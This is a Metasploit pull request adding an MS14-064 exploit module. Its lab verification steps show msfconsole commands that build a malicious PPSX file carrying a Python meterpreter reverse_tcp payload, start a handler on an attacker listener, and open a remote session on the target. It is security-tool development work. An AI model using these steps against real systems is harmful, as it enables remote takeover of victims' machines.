rapid7/metasploit-framework — pull request #4196 by jvazquez-r7 (2014-11-13 07:09:29+00:00)
Title: Add module for MS14-064 bypassing UAC through python for windows

I've decided to add a new module for this bypass since it depends on Python for Windows which should be installed on the target, indeed this module is ARCH_PYTHON. I felt like it's more cleaner to add a new module. But if you think it's better to merge #4185 and this in the same module, just let me know and I can make it happen :)

Verification
--------------

- [ ] Install Windows 7 SP1 (32 bits)
- [ ] Install Office 2010 SP2 (SP2 is important :) same history than with ms14_060_sandworm).
- [ ] Apply MS14_060
- [ ] Install python for windows: https://www.python.org/downloads/windows/ I had python 2.7.3 installed in my vmware template. According to Haifei Lei python 2.7.8 can be used too. Not sure about other versions. Should test.
- [ ] Generate the ppsx with the fileformat exploit:

```
msf > use exploit/windows/fileformat/ms14_064_packager_python
msf exploit(ms14_064_packager_python) > show options

Module options (exploit/windows/fileformat/ms14_064_packager_python):

Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.ppsx yes The PPSX file

Payload options (python/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
0 Windows 7 SP1 with Python for Windows / Office 2010 SP2 / Office 2013

msf exploit(ms14_064_packager_python) > set LHOST 172.16.158.1
LHOST => 172.16.158.1
msf exploit(ms14_064_packager_python) > exploit

[*] Creating 'msf.ppsx' file ...
[+] msf.ppsx stored at /Users/jvazquez/.msf4/local/msf.ppsx
msf exploit(ms14_064_packager_python) >
```

- [ ] Setup the payload handler:

```
msf exploit(ms14_064_packager_python) > use exploit/multi/handler
msf exploit(handler) > set payload python/meterpreter/reverse_tcp
payload => python/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 172.16.158.1
lhost => 172.16.158.1
msf exploit(handler) > exploit

[*] Started reverse handler on 172.16.158.1:4444
[*] Starting the payload handler...
```

- [ ] Open the ppsx in the target (No external samba resource is needed in this case).
- [ ] Verify you get a session in the handler

```
msf exploit(handler) > exploit

[*] Started reverse handler on 172.16.158.1:4444
[*] Starting the payload handler...
[*] Sending stage (18528 bytes) to 172.16.158.131

meterpreter > getuid
Server username: WIN-RNJ7NBRK9L7\Juan Vazquez
meterpreter > sysinfo
Computer : WIN-RNJ7NBRK9L7
OS : Windows 7 6.1.7601
Architecture : x86
Meterpreter : python/python
meterpreter >
```